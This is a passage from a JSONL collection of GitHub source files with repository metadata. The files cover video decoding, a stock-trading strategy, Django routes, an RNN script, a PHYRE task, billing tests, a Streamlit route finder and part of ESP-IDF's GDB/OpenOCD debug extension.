frames_out[i]\n            start_end_delta_time_[j, :] = start_end_delta_time[i, :]\n            time_diff_aug_[j] = time_diff_aug[i]\n\n        frames_out = frames_out_\n        start_end_delta_time = start_end_delta_time_\n        time_diff_aug = time_diff_aug_\n        assert all(\n            frames_out[i].shape[0] == num_frames_orig[i]\n            for i in range(num_decode)\n        )\n\n    return frames_out, start_end_delta_time, time_diff_aug\n","repo_name":"facebookresearch/SlowFast","sub_path":"slowfast/datasets/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":24001,"program_lang":"python","lang":"en","doc_type":"code","stars":6009,"dataset":"github-code","pt":"3"}
+{"seq_id":"28137798694","text":"import logging\nfrom datetime import date, datetime, timedelta\n\nfrom sqlalchemy import func, and_\n\nfrom autotrader.datasource.database.stock_schema import Signal, Stock, Filter\nfrom autotrader.strategy.strategy_base import StrategyBase\n\n\nclass StrategyFilter(StrategyBase):\n    \"\"\"\n    The strategy works in combination with a filter like Levermann or Piotroski i.e.\n    only stocks who have the given filter threshold and a buy signal will be buy.\n    the threshold is adjustable with the argument entry 'threshold' and with 'filter_name'\n    the filter.\n    \"\"\"\n\n    def __init__(self, config, arguments, broker, my_logger: logging.Logger):\n        self.threshold_greater = None\n        self.threshold_smaller = None\n        self.filter_name = arguments[\"filter_name\"]\n        if arguments:\n            self.ignore_signals = arguments.get(\"ignore_signals\")\n            self.threshold_greater = arguments.get(\"threshold\", self.threshold_greater)\n            if self.threshold_greater is not None:\n                self.threshold_greater = float(self.threshold_greater)\n            self.threshold_smaller = arguments.get(\"threshold_smaller\", self.threshold_smaller)\n            if self.threshold_smaller is not None:\n                self.threshold_smaller = float(self.threshold_smaller)\n\n        super(StrategyFilter, self).__init__(config, arguments, broker, my_logger)\n\n    def get_relevant_buy_signals(self):\n        buy_signal = []\n        # only take the signal with most profit\n        sub_max_profit = self.broker.db_tool.\\\n            session.query(Signal.stock_id, func.max(Signal.profit_in_percent).label('MaxProfit')) \\\n            .group_by(Signal.stock_id).all()\n        if sub_max_profit is None or len(sub_max_profit) == 0:\n            return []\n        sub_max_profit = sub_max_profit[0][1] - 0.00009\n        if self.threshold_greater:\n            buy_signal = self.broker.db_tool.session.query(Signal) \\\n                .join(Stock) \\\n                .join(Filter) \\\n                .filter(Signal.status == 2) \\\n                .filter(Filter.date.\n                        between(datetime.combine((datetime.now() + timedelta(days=-6)).date(),\n                                                 datetime.min.time()),\n                                datetime.combine(date.today(), datetime.max.time()))) \\\n                .filter(\n                    Signal.refresh_date.between(datetime.combine(date.today(), datetime.min.time()),\n                                                datetime.combine(date.today(), datetime.max.time()))\n                        ) \\\n                .filter(Signal.profit_in_percent >= self.threshold_profit) \\\n                .filter(Signal.profit_in_percent >= sub_max_profit) \\\n                .filter(Filter.name == self.filter_name) \\\n                .filter(Filter.value >= self.threshold_greater) \\\n                .order_by(Signal.profit_in_percent.desc()).all()\n        elif self.threshold_smaller:\n            buy_signal = self.broker.db_tool.session.query(Signal) \\\n                .join(Stock) \\\n                .join(Filter) \\\n                .filter(Signal.status == 2) \\\n                .filter(Filter.date.\n                        between(datetime.combine((datetime.now() + timedelta(days=-6)).date(),\n                                                 datetime.min.time()),\n                                datetime.combine(date.today(), datetime.max.time()))) \\\n                .filter(\n                Signal.refresh_date.between(datetime.combine(date.today(), datetime.min.time()),\n                                            datetime.combine(date.today(), datetime.max.time()))\n                        ) \\\n                .filter(Signal.profit_in_percent >= self.threshold_profit) \\\n                .filter(Signal.profit_in_percent >= sub_max_profit) \\\n                .filter(Filter.name == self.filter_name) \\\n                .filter(Filter.value <= self.threshold_smaller) \\\n                .order_by(Signal.profit_in_percent.desc()).all()\n        my_filtered_buy_signals = []\n        if self.ignore_signals is not None:\n            for item in buy_signal:\n                if item.name not in self.ignore_signals:\n                    my_filtered_buy_signals.append(item)\n            # remove duplicates\n            return my_filtered_buy_signals\n        return buy_signal\n","repo_name":"SlashGordon/autotrader","sub_path":"autotrader/strategy/strategy_filter.py","file_name":"strategy_filter.py","file_ext":"py","file_size_in_byte":4334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71619792400","text":"\nfrom django.conf.urls import url\nfrom manage_app import views\nfrom django.urls import path\napp_name='manage_app'\nurlpatterns=[\n    #url('',views.index,name='index'),\n    path('', views.CodeListView.as_view(),name='list'),\n    path('<int:pk>/', views.CodeDetailView.as_view(), name='detail'),\n    path('create/',views.CodeCreateView.as_view(), name='create'),\n    path('update/<int:pk>/', views.CodeUpdateView.as_view(), name='update'),\n    path('delete/<int:pk>/', views.CodeDeleteView.as_view(), name='delete'),\n    path('generate/',views.CodeGenView.as_view() , name='generate'),\n    path('gen/',views.CodeGen, name='gen'),\n    ]","repo_name":"xuunnis123/RegisterCode","sub_path":"manage_project/manage_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"71279805523","text":"import numpy, sklearn.model_selection, tensorflow, matplotlib, pandas\r\nstep = 4\r\nmax_len = 10000\r\ndata_raw = pandas.read_csv(\"/content/drive/MyDrive/Colab Notebooks/dsc_fc_summed_spectra_2022_v01.csv\", delimiter = ',', parse_dates=[0], infer_datetime_format=True, na_values='0', header = None)\r\ndata = data_raw.iloc[0:max_len+step,1]\r\nX, Y =[], []\r\nfor i in range(len(data)-step):\r\n    X.append(data[i:i+step]); Y.append(data[i+step])\r\n(x_train, x_test, y_train, y_test) = sklearn.model_selection.train_test_split(numpy.array(X), numpy.array(Y), test_size=0.2)\r\nx_train_len = len(x_train)\r\nx_test_len = len(x_test)\r\nx_train = x_train.reshape(x_train_len, step, 1)\r\nx_test = x_test.reshape(x_test_len, step, 1)\r\n\r\ninputs = tensorflow.keras.Input(shape=(step, 1))\r\nhidden = tensorflow.keras.layers.SimpleRNN(units=64)(inputs)\r\noutputs = tensorflow.keras.layers.Dense(units=1)(hidden)\r\nsrn = tensorflow.keras.Model(inputs=inputs, outputs=outputs)\r\nsrn.compile(optimizer=\"Adam\", loss=\"mean_squared_error\")\r\nsrn.summary()\r\n\r\nsrn.fit(x=x_train, y=y_train, batch_size=64, epochs=10, validation_split=0.2, verbose=1, shuffle=True, initial_epoch=0, steps_per_epoch=None, validation_batch_size=64, validation_freq=1)\r\ntest_scores = srn.evaluate(x=x_test, y=y_test, batch_size=64, verbose=1, return_dict=False)\r\nprint(\"Test loss:\", test_scores)\r\n\r\ny_model = srn.predict(x=x_test)\r\nfig = matplotlib.pyplot.figure()\r\nax = fig.add_subplot(1, 1, 1)\r\nax.plot(y_test)\r\nax.plot(y_model)\r\nx=numpy.arange(0, x_test_len)\r\nmatplotlib.pyplot.plot(x, y_test, label=\"y_test\", color=\"b\")\r\nmatplotlib.pyplot.plot(x, y_model, label=\"y_model\", color=\"r\")\r\nmatplotlib.pyplot.legend()\r\nmatplotlib.pyplot.show()\r\n","repo_name":"fedorovee75/Hackathon2023","sub_path":"hackathon2023.py","file_name":"hackathon2023.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19088754434","text":"__author__ = 'dawson valdes'\nimport json\nimport socket\nfrom datetime import time\nfrom threading import Thread\n\n\nclass client_thread(Thread):\n    def __init__(self):\n        Thread.__init__(self)\n        self.time_data = {'time_begin': '', 'time_end': '', 'time_received': ''}\n\n    def start(self):\n        tb = time()\n        self.time_data['time_begin'] = tb.isoformat()\n        json_data = json.dumps(self.time_data)\n        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        client_socket.connect((\"127.0.0.1\", 1489))\n        client_socket.send(json_data)\n        json_data = client_socket.recv(4096)\n        self.time_data = json.loads(json_data)\n        te = time()\n        self.time_data['time_end'] = te.isoformat()\n\n\nnum_threads = 100\nthread_list = list()\n\n# init client threads\nfor a in range(num_threads):\n    new_thread = client_thread()\n    thread_list.append(new_thread)\n\n# run client threads\nfor b in thread_list:\n    b.start()\n\n# print time data\nfor c in thread_list:\n    c.join()\n    print(str(c.time_data))","repo_name":"dawsonmv/DaisyCutter","sub_path":"DemoClient.py","file_name":"DemoClient.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20076729654","text":"import numpy as np\nimport phyre.creator as creator_lib\n\n\n@creator_lib.define_task_template(\n    ball_x=np.linspace(0.1, 0.9, 32),\n    ball_y=np.linspace(0, 40, 8),\n    ball_r=np.linspace(0.05, 0.12, 5),\n    left=[True, False],\n    version='6',\n)\ndef build_task(C, ball_x, ball_y, ball_r, left):\n    target_wall = C.add('static bar', 1.0, left=0, angle=90, bottom=0)\n    if not left:\n        target_wall.set_right(C.scene.width)\n\n    shelf_size = 0.99 - ball_r * 2\n    shelf = C.add('static bar', shelf_size, center_x=C.scene.width / 2, top=20)\n    C.add('static bar', 0.2, angle=65, right=shelf.left + 5, top=shelf.top)\n    C.add('static bar', 0.2, angle=-65, left=shelf.right - 5, top=shelf.top)\n\n    ball = C.add(\n        'dynamic ball',\n        ball_r,\n        left=ball_x * C.scene.width,\n        bottom=ball_y + shelf.top)\n    if ball.center_x <= shelf.left or ball.center_x >= shelf.right:\n        raise creator_lib.SkipTemplateParams\n    if abs(ball.center_x - target_wall.center_x) > C.scene.width * .7:\n        raise creator_lib.SkipTemplateParams\n\n    C.update_task(\n        body1=ball,\n        body2=target_wall,\n        relationships=[C.SpatialRelationship.TOUCHING])\n    C.set_meta(C.SolutionTier.BALL)\n","repo_name":"facebookresearch/phyre","sub_path":"data/task_scripts/main/task00001.py","file_name":"task00001.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":423,"dataset":"github-code","pt":"3"}
+{"seq_id":"29045469327","text":"# coding: utf-8\n__author__ = 'pelmeshka'\n\nfrom decimal import Decimal\nfrom xmlrpclib import Fault\n\nimport pytest\nfrom hamcrest import contains_string\n\nfrom balance import balance_steps as steps\nfrom balance.features import Features\nfrom btestlib import constants as const\nfrom btestlib import reporter\nfrom btestlib import utils\nfrom btestlib.data.defaults import Date\n\nPERSON_TYPE = const.PersonTypes.UR\nPARTNER_SERVICE_ID = const.Services.DOSTAVKA.id\nNO_PARTNER_SERVICE_ID = const.Services.MARKET.id\nCONTRACT_TYPE = 'no_agency_post'\n\n\n# Запрещаем заводить дс перехода на предоплату или постоплату для партнерских сервисов\n@reporter.feature(Features.CONTRACT, Features.COLLATERAL)\n@pytest.mark.tickets('BALANCE-27850')\ndef test_cannot_change_contract_payment_type_for_partner_service():\n    with reporter.step(u'Подготавливаем постоплатный договор на партнерский сервис'):\n        contract_id = prepare_contract(PARTNER_SERVICE_ID)\n\n    with pytest.raises(Fault) as error:\n        create_collateral_change_payment_type(contract_id)\n\n    expected_error = u'Запрещено заводить ДС перевода на предоплату или постоплату для партнёрских сервисов'\n    utils.check_that(error.value.faultString, contains_string(expected_error),\n                     u'Проверяем текст ошибки при создании допника на смену типа оплаты')\n\n\n# Для непартнёрских сервисов создание ДС на изменение типа оплаты должно проходить без ошибок\ndef test_can_change_contract_payment_type_for_non_partner_service():\n    with reporter.step(u'Подготавливаем постоплатный договор на непартнерский сервис'):\n        contract_id = prepare_contract(NO_PARTNER_SERVICE_ID)\n    with reporter.step(u'Создаем допсоглашение для перевода с постоплаты на предоплату для непартнерского сервиса'):\n        create_collateral_change_payment_type(contract_id)\n\n\ndef prepare_contract(service_id):\n    client_id = steps.ClientSteps.create()\n    person_id = steps.PersonSteps.create(client_id, PERSON_TYPE.code)\n    contract_id, _ = steps.ContractSteps.create_contract(CONTRACT_TYPE,\n                                                         {\n                                                             'CLIENT_ID': client_id,\n                                                             'PERSON_ID': person_id,\n                                                             'SERVICES': [service_id],\n                                                             'MINIMAL_PAYMENT_COMMISSION': Decimal('0'),\n                                                         })\n    return contract_id\n\n\ndef create_collateral_change_payment_type(contract_id):\n    with reporter.step(u'Создаем допсоглашение Перевод на предоплату'):\n        steps.ContractSteps.create_collateral(const.Collateral.DO_PREPAY,\n                                              {\n                                                  'CONTRACT2_ID': contract_id,\n                                                  'DT': Date.TODAY_ISO,\n                                                  'IS_SIGNED': Date.TODAY_ISO,\n                                              })\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/balance/tests/contract/test_change_contract_payment_type.py","file_name":"test_change_contract_payment_type.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40234666816","text":"import streamlit as st\nimport heapq\n\n\ndef dijkstra(graph, start):\n    distances = {node: (float('inf'), -1) for node in graph}\n    distances[start] = (0, 1)\n\n    queue = [(0, 1, start)]\n\n    while queue:\n        current_distance, current_port, current_node = heapq.heappop(queue)\n\n        if current_distance > distances[current_node][0]:\n            continue\n\n        for neighbor, (distance, port) in graph[current_node].items():\n            new_distance = current_distance + distance\n\n            if new_distance < distances[neighbor][0]:\n                distances[neighbor] = (new_distance, port)\n                heapq.heappush(queue, (new_distance, port, neighbor))\n\n    return distances\n\n\ndef shortest_route(graph, start, end):\n    distances = dijkstra(graph, start)\n    shortest_distance, _ = distances[end]\n    route = [end]\n    current_node = end\n\n    while current_node != start:\n        for neighbor, (distance, port) in graph[current_node].items():\n            if distances[current_node][0] == distances[neighbor][0] + distance:\n                route.append(neighbor)\n                current_node = neighbor\n                break\n\n    route.reverse()\n    return shortest_distance, route\n\n\ndef main():\n    st.title(\"Shortest Route Finder\")\n\n    data = {\n        'Houston': {'port number': 1, 'Miami': (1733.47, 2), 'Baltimore': (3466.93, 3), 'New York': (3466.93, 4)},\n        'Miami': {'port number': 2, 'Houston': (1733.47, 1), 'Baltimore': (1733.47, 3), 'New York': (1733.47, 4)},\n        'Baltimore': {'port number': 3, 'Houston': (3466.93, 1), 'Miami': (1733.47, 2), 'New York': (1155.64, 4)},\n        'New York': {'port number': 4, 'Houston': (3466.93, 1), 'Miami': (1733.47, 2), 'Baltimore': (1155.64, 3), 'Helsinki': (1733.47, 5)},\n        'Helsinki': {'port number': 5, 'New York': (1733.47, 4), 'Helsingborg': (1155.64, 6), 'Oslo': (1155.64, 7)},\n        'Helsingborg': {'port number': 6, 'Helsinki': (1155.64, 5), 'Oslo': (1155.64, 7)},\n        'Oslo': {'port number': 7, 'Helsinki': (1155.64, 5), 'Helsingborg': (1155.64, 6), 'Hamburg': (577.82, 8)},\n        'Hamburg': {'port number': 8, 'Oslo': (577.82, 7), 'Rotterdam': (577.82, 9)},\n        'Rotterdam': {'port number': 9, 'Hamburg': (577.82, 8), 'Antwerp': (577.82, 10)},\n        'Antwerp': {'port number': 10, 'Rotterdam': (577.82, 9)}\n    }\n\n    port_options = list(data.keys())\n    start_port = st.selectbox(\"Select the start port:\", port_options)\n    end_port = st.selectbox(\"Select the end port:\", port_options)\n\n    if st.button(\"Find Shortest Route\"):\n        start_port_number = data[start_port]['port number']\n        end_port_number = data[end_port]['port number']\n\n        if start_port_number < end_port_number:\n            distance, route = shortest_route(data, start_port, end_port)\n            st.write(\"Shortest distance:\", distance)\n            st.write(\"Route:\", \" -> \".join(route))\n        else:\n            st.write(\"No valid route.\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"rajajadon/CODES","sub_path":"NFE_latest_Optimization_PORTS.py","file_name":"NFE_latest_Optimization_PORTS.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15625301352","text":"from client.vue.abstract_vue import AbstractVue\nfrom client.vue.donjon_vue import MenuDonjon\nfrom client.vue.session import Session\n\nfrom web.dao.entite_dao import EntiteDAO\nfrom web.service.salle_service import SalleService\n\nfrom PyInquirer import prompt\n\nclass ModifSalleVue(AbstractVue):\n\n    def __init__(self, id_salle):\n        utilisateur = Session.utilisateur\n        id_campagne = Session.id_campagne\n        self.id_salle = id_salle\n        self.salle = SalleService.trouve_salle(id_salle)\n        self.list_choix = self.salle.__dict__.keys() \n        self.questions = [\n                {\n                    'type': 'list',\n                    'name': 'Nom',\n                    'message': 'Que souhaitez-vous modifier ?',\n                    'choices' : self.list_choix \n                },\n                {\n                    'type': 'input',\n                    'name': 'Val',\n                    'message': 'Quelle est la nouvelle valeur ?', \n                }\n            ]\n        \n    def display_info(self):\n        with open('client/dessins_ascii/border.txt', 'r', encoding=\"utf-8\") as asset:\n            print(asset.read())\n            \n    def make_choice(self):\n        reponse = prompt(self.questions)\n        nom = reponse['Nom']\n        val = reponse['Val']\n        SalleService.modifier_salle(self.id_salle, nom,val)\n        return MenuDonjon()\n","repo_name":"Dragons-Unfurled-Inc/Dragons-Unfurled","sub_path":"client/vue/modif_salle_vue.py","file_name":"modif_salle_vue.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"28090478975","text":"import json\nimport os\nimport re\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom base64 import b64decode\nfrom textwrap import indent\nfrom threading import Thread\nfrom typing import Any, Dict, List, Optional, Union\n\nfrom click import INT\nfrom click.core import Context\nfrom esp_coredump import CoreDump\nfrom idf_py_actions.constants import OPENOCD_TAGET_CONFIG, OPENOCD_TAGET_CONFIG_DEFAULT\nfrom idf_py_actions.errors import FatalError\nfrom idf_py_actions.serial_ext import BAUD_RATE, PORT\nfrom idf_py_actions.tools import (PropertyDict, ensure_build_directory, generate_hints, get_default_serial_port,\n                                  get_sdkconfig_value, yellow_print)\n\nPYTHON = sys.executable\nESP_ROM_INFO_FILE = 'roms.json'\nGDBINIT_PYTHON_TEMPLATE = '''\n# Add Python GDB extensions\npython\nimport sys\nsys.path = {sys_path}\nimport freertos_gdb\nend\n'''\nGDBINIT_PYTHON_NOT_SUPPORTED = '''\n# Python scripting is not supported in this copy of GDB.\n# Please make sure that your Python distribution contains Python shared library.\n'''\nGDBINIT_BOOTLOADER_ADD_SYMBOLS = '''\n# Load bootloader symbols\nset confirm off\n  add-symbol-file {boot_elf}\nset confirm on\n'''\nGDBINIT_BOOTLOADER_NOT_FOUND = '''\n# Bootloader elf was not found\n'''\nGDBINIT_APP_ADD_SYMBOLS = '''\n# Load application file\nfile {app_elf}\n'''\nGDBINIT_CONNECT = '''\n# Connect to the default openocd-esp port and break on app_main()\ntarget remote :3333\nmonitor reset halt\nmaintenance flush register-cache\nthbreak app_main\ncontinue\n'''\nGDBINIT_MAIN = '''\nsource {py_extensions}\nsource {symbols}\nsource {connect}\n'''\n\n\ndef get_openocd_arguments(target: str) -> str:\n    default_args = OPENOCD_TAGET_CONFIG_DEFAULT.format(target=target)\n    return str(OPENOCD_TAGET_CONFIG.get(target, default_args))\n\n\ndef chip_rev_to_int(chip_rev: Optional[str]) -> Union[int, None]:\n    # The chip rev will be derived from the elf file if none are returned.\n    # The chip rev must be supplied for coredump files generated with idf versions less than 5.1 in order to load\n    # rom elf file.\n    if not chip_rev or not all(c.isdigit() or c == '.' for c in chip_rev):\n        return None\n    if '.' not in chip_rev:\n        chip_rev += '.0'\n    major, minor = map(int, chip_rev.split('.'))\n    return major * 100 + minor\n\n\ndef action_extensions(base_actions: Dict, project_path: str) -> Dict:\n    OPENOCD_OUT_FILE = 'openocd_out.txt'\n    GDBGUI_OUT_FILE = 'gdbgui_out.txt'\n    # Internal dictionary of currently active processes, threads and their output files\n    processes: Dict = {'threads_to_join': [], 'allow_hints': True}\n\n    def _print_hints(file_name: str) -> None:\n        if not processes['allow_hints']:\n            return\n\n        for hint in generate_hints(file_name):\n            if sys.stderr.isatty():\n                yellow_print(hint)\n            else:\n                # Hints go to stderr. Flush stdout, so hints are printed last.\n                sys.stdout.flush()\n                print(hint, file=sys.stderr)\n\n    def _check_openocd_errors(fail_if_openocd_failed: Dict, target: str, ctx: Context) -> None:\n        if fail_if_openocd_failed:\n            if 'openocd' in processes and processes['openocd'] is not None:\n                p = processes['openocd']\n                name = processes['openocd_outfile_name']\n                # watch OpenOCD (for 5x500ms) to check if it hasn't terminated or outputs an error\n                for _ in range(5):\n                    if p.poll() is not None:\n                        print('OpenOCD exited with {}'.format(p.poll()))\n                        break\n                    with open(name, 'r') as f:\n                        content = f.read()\n                        if re.search(r'Listening on port \\d+ for gdb connections', content):\n                            # expect OpenOCD has started successfully - stop watching\n                            return\n                    time.sleep(0.5)\n\n                # OpenOCD exited or is not listening -> print full log and terminate\n                with open(name, 'r') as f:\n                    print(f.read())\n\n                raise FatalError('Action \"{}\" failed due to errors in OpenOCD'.format(target), ctx)\n\n    def _terminate_async_target(target: str) -> None:\n        if target in processes and processes[target] is not None:\n            try:\n                if target + '_outfile' in processes:\n                    processes[target + '_outfile'].close()\n                p = processes[target]\n                if p.poll() is None:\n                    p.terminate()\n                    # waiting 10x100ms for the process to terminate gracefully\n                    for _ in range(10):\n                        if p.poll() is not None:\n                            break\n                        time.sleep(0.1)\n                    else:\n                        p.kill()\n                if target + '_outfile_name' in processes:\n                    _print_hints(processes[target + '_outfile_name'])\n            except Exception as e:\n                print(e)\n                print('Failed to close/kill {}'.format(target))\n            processes[target] = None  # to indicate this has ended\n\n    def _get_espcoredump_instance(ctx: Context,\n                                  args: PropertyDict,\n                                  gdb_timeout_sec: int = None,\n                                  core: str = None,\n                                  chip_rev: str = None,\n                                  save_core: str = None) -> CoreDump:\n\n        ensure_build_directory(args, ctx.info_name)\n        project_desc = get_project_desc(args, ctx)\n        coredump_to_flash_config = get_sdkconfig_value(project_desc['config_file'],\n                                                       'CONFIG_ESP_COREDUMP_ENABLE_TO_FLASH')\n        coredump_to_flash = coredump_to_flash_config.rstrip().endswith('y') if coredump_to_flash_config else False\n\n        prog = os.path.join(project_desc['build_dir'], project_desc['app_elf'])\n        args.port = args.port or get_default_serial_port()\n\n        espcoredump_kwargs = dict()\n\n        espcoredump_kwargs['baud'] = args.baud\n        espcoredump_kwargs['gdb_timeout_sec'] = gdb_timeout_sec\n        espcoredump_kwargs['chip_rev'] = chip_rev_to_int(chip_rev)\n\n        # for reproducible builds\n        extra_gdbinit_file = project_desc.get('debug_prefix_map_gdbinit', None)\n\n        if extra_gdbinit_file:\n            espcoredump_kwargs['extra_gdbinit_file'] = extra_gdbinit_file\n\n        core_format = None\n\n        if core:\n            espcoredump_kwargs['core'] = core\n            espcoredump_kwargs['chip'] = get_sdkconfig_value(project_desc['config_file'], 'CONFIG_IDF_TARGET')\n            core_format = get_core_file_format(core)\n        elif coredump_to_flash:\n            #  If the core dump is read from flash, we don't need to specify the --core-format argument at all.\n            #  The format will be determined automatically\n            args.port = args.port or get_default_serial_port()\n        else:\n            print('Path to core dump file is not provided. '\n                  \"Core dump can't be read from flash since this option is not enabled in menuconfig\")\n            sys.exit(1)\n\n        espcoredump_kwargs['port'] = args.port\n        espcoredump_kwargs['parttable_off'] = get_sdkconfig_value(project_desc['config_file'],\n                                                                  'CONFIG_PARTITION_TABLE_OFFSET')\n\n        if core_format:\n            espcoredump_kwargs['core_format'] = core_format\n\n        if save_core:\n            espcoredump_kwargs['save_core'] = save_core\n\n        espcoredump_kwargs['prog'] = prog\n\n        # compatibility check for esp-coredump < 1.5.2\n        try:\n            coredump = CoreDump(**espcoredump_kwargs)\n        except TypeError as e:\n            # 'parttable_off' was added in esp-coredump 1.5.2\n            # remove argument and retry without it\n            if 'parttable_off' in str(e):\n                espcoredump_kwargs.pop('parttable_off')\n                coredump = CoreDump(**espcoredump_kwargs)\n            else:\n                raise\n        return coredump\n\n    def get_core_file_format(core_file: str) -> str:\n        bin_v1 = 1\n        bin_v2 = 2\n        elf_crc32 = 256\n        elf_sha256 = 257\n\n        with open(core_file, 'rb') as f:\n            coredump_bytes = f.read(16)\n\n            if coredump_bytes.startswith(b'\\x7fELF'):\n                return 'elf'\n\n            core_version = int.from_bytes(coredump_bytes[4:7], 'little')\n            if core_version in [bin_v1, bin_v2, elf_crc32, elf_sha256]:\n                #  esp-coredump will determine automatically the core format (ELF or BIN)\n                return 'raw'\n        with open(core_file) as c:\n            coredump_str = c.read()\n            try:\n                b64decode(coredump_str)\n            except Exception:\n                print('The format of the provided core-file is not recognized. '\n                      'Please ensure that the core-format matches one of the following: ELF (“elf”), '\n                      'raw (raw) or base64-encoded (b64) binary')\n                sys.exit(1)\n            else:\n                return 'b64'\n\n    def is_gdb_with_python(gdb: str) -> bool:\n        # execute simple python command to check is it supported\n        return subprocess.run([gdb, '--batch-silent', '--ex', 'python import os'],\n                              stderr=subprocess.DEVNULL).returncode == 0\n\n    def get_normalized_path(path: str) -> str:\n        if os.name == 'nt':\n            return os.path.normpath(path).replace('\\\\', '\\\\\\\\')\n        return path\n\n    def get_rom_if_condition_str(date_addr: int, date_str: str) -> str:\n        r = []\n        for i in range(0, len(date_str), 4):\n            value = hex(int.from_bytes(bytes(date_str[i:i + 4], 'utf-8'), 'little'))\n            r.append(f'(*(int*) {hex(date_addr + i)}) == {value}')\n        return 'if ' + ' && '.join(r)\n\n    def generate_gdbinit_rom_add_symbols(target: str) -> str:\n        base_ident = '  '\n        rom_elfs_dir = os.getenv('ESP_ROM_ELF_DIR')\n        if not rom_elfs_dir:\n            raise FatalError(\n                'ESP_ROM_ELF_DIR environment variable is not defined. Please try to run IDF \"install\" and \"export\" scripts.')\n        with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), ESP_ROM_INFO_FILE), 'r') as f:\n            roms = json.load(f)\n            if target not in roms:\n                msg_body = f'Target \"{target}\" was not found in \"{ESP_ROM_INFO_FILE}\". Please check IDF integrity.'\n                if os.getenv('ESP_IDF_GDB_TESTING'):\n                    raise FatalError(msg_body)\n                print(f'Warning: {msg_body}')\n                return f'# {msg_body}'\n            r = ['', f'# Load {target} ROM ELF symbols']\n            r.append('define target hookpost-remote')\n            r.append('set confirm off')\n            # Since GDB does not have 'else if' statement than we use nested 'if..else' instead.\n            for i, k in enumerate(roms[target], 1):\n                indent_str = base_ident * i\n                rom_file = get_normalized_path(os.path.join(rom_elfs_dir, f'{target}_rev{k[\"rev\"]}_rom.elf'))\n                build_date_addr = int(k['build_date_str_addr'], base=16)\n                r.append(indent(f'# if $_streq((char *) {hex(build_date_addr)}, \"{k[\"build_date_str\"]}\")', indent_str))\n                r.append(indent(get_rom_if_condition_str(build_date_addr, k['build_date_str']), indent_str))\n                r.append(indent(f'add-symbol-file {rom_file}', indent_str + base_ident))\n                r.append(indent('else', indent_str))\n                if i == len(roms[target]):\n                    # In case no one known ROM ELF fits - print error and exit with error code 1\n                    indent_str += base_ident\n                    msg_body = f'unknown {target} ROM revision.'\n                    if os.getenv('ESP_IDF_GDB_TESTING'):\n                        r.append(indent(f'echo Error: {msg_body}\\\\n', indent_str))\n                        r.append(indent('quit 1', indent_str))\n                    else:\n                        r.append(indent(f'echo Warning: {msg_body}\\\\n', indent_str))\n            # Close 'else' operators\n            for i in range(len(roms[target]), 0, -1):\n                r.append(indent('end', base_ident * i))\n            r.append('set confirm on')\n            r.append('end')\n            r.append('')\n            return '\\n'.join(r)\n        raise FatalError(f'{ESP_ROM_INFO_FILE} file not found. Please check IDF integrity.')\n\n    def generate_gdbinit_files(gdb: str, gdbinit: Optional[str], project_desc: Dict[str, Any]) -> None:\n        app_elf = get_normalized_path(os.path.join(project_desc['build_dir'], project_desc['app_elf']))\n        if not os.path.exists(app_elf):\n            raise FatalError('ELF file not found. You need to build & flash the project before running debug targets')\n\n        # Recreate empty 'gdbinit' directory\n        gdbinit_dir = os.path.join(project_desc['build_dir'], 'gdbinit')\n        if os.path.isfile(gdbinit_dir):\n            os.remove(gdbinit_dir)\n        elif os.path.isdir(gdbinit_dir):\n            shutil.rmtree(gdbinit_dir)\n        os.mkdir(gdbinit_dir)\n\n        # Prepare gdbinit for Python GDB extensions import\n        py_extensions = os.path.join(gdbinit_dir, 'py_extensions')\n        with open(py_extensions, 'w') as f:\n            if is_gdb_with_python(gdb):\n                f.write(GDBINIT_PYTHON_TEMPLATE.format(sys_path=sys.path))\n            else:\n                f.write(GDBINIT_PYTHON_NOT_SUPPORTED)\n\n        # Prepare gdbinit for related ELFs symbols load\n        symbols = os.path.join(gdbinit_dir, 'symbols')\n        with open(symbols, 'w') as f:\n            boot_elf = get_normalized_path(project_desc['bootloader_elf']) if 'bootloader_elf' in project_desc else None\n            if boot_elf and os.path.exists(boot_elf):\n                f.write(GDBINIT_BOOTLOADER_ADD_SYMBOLS.format(boot_elf=boot_elf))\n            else:\n                f.write(GDBINIT_BOOTLOADER_NOT_FOUND)\n            f.write(generate_gdbinit_rom_add_symbols(project_desc['target']))\n            f.write(GDBINIT_APP_ADD_SYMBOLS.format(app_elf=app_elf))\n\n        # Generate the gdbinit for target connect if no custom gdbinit is present\n        if not gdbinit:\n            gdbinit = os.path.join(gdbinit_dir, 'connect')\n            with open(gdbinit, 'w') as f:\n                f.write(GDBINIT_CONNECT)\n\n        with open(os.path.join(gdbinit_dir, 'gdbinit'), 'w') as f:\n            f.write(GDBINIT_MAIN.format(py_extensions=py_extensions, symbols=symbols, connect=gdbinit))\n\n    def debug_cleanup() -> None:\n        print('cleaning up debug targets')\n        for t in processes['threads_to_join']:\n            if threading.currentThread() != t:\n                t.join()\n        _terminate_async_target('openocd')\n        _terminate_async_target('gdbgui')\n        _terminate_async_target('gdb')\n\n    def post_debug(action: str, ctx: Context, args: PropertyDict, **kwargs: str) -> None:\n        \"\"\" Deal with asynchronous targets, such as openocd running in background \"\"\"\n        if kwargs['block'] == 1:\n            for target in ['openocd', 'gdbgui']:\n                if target in processes and 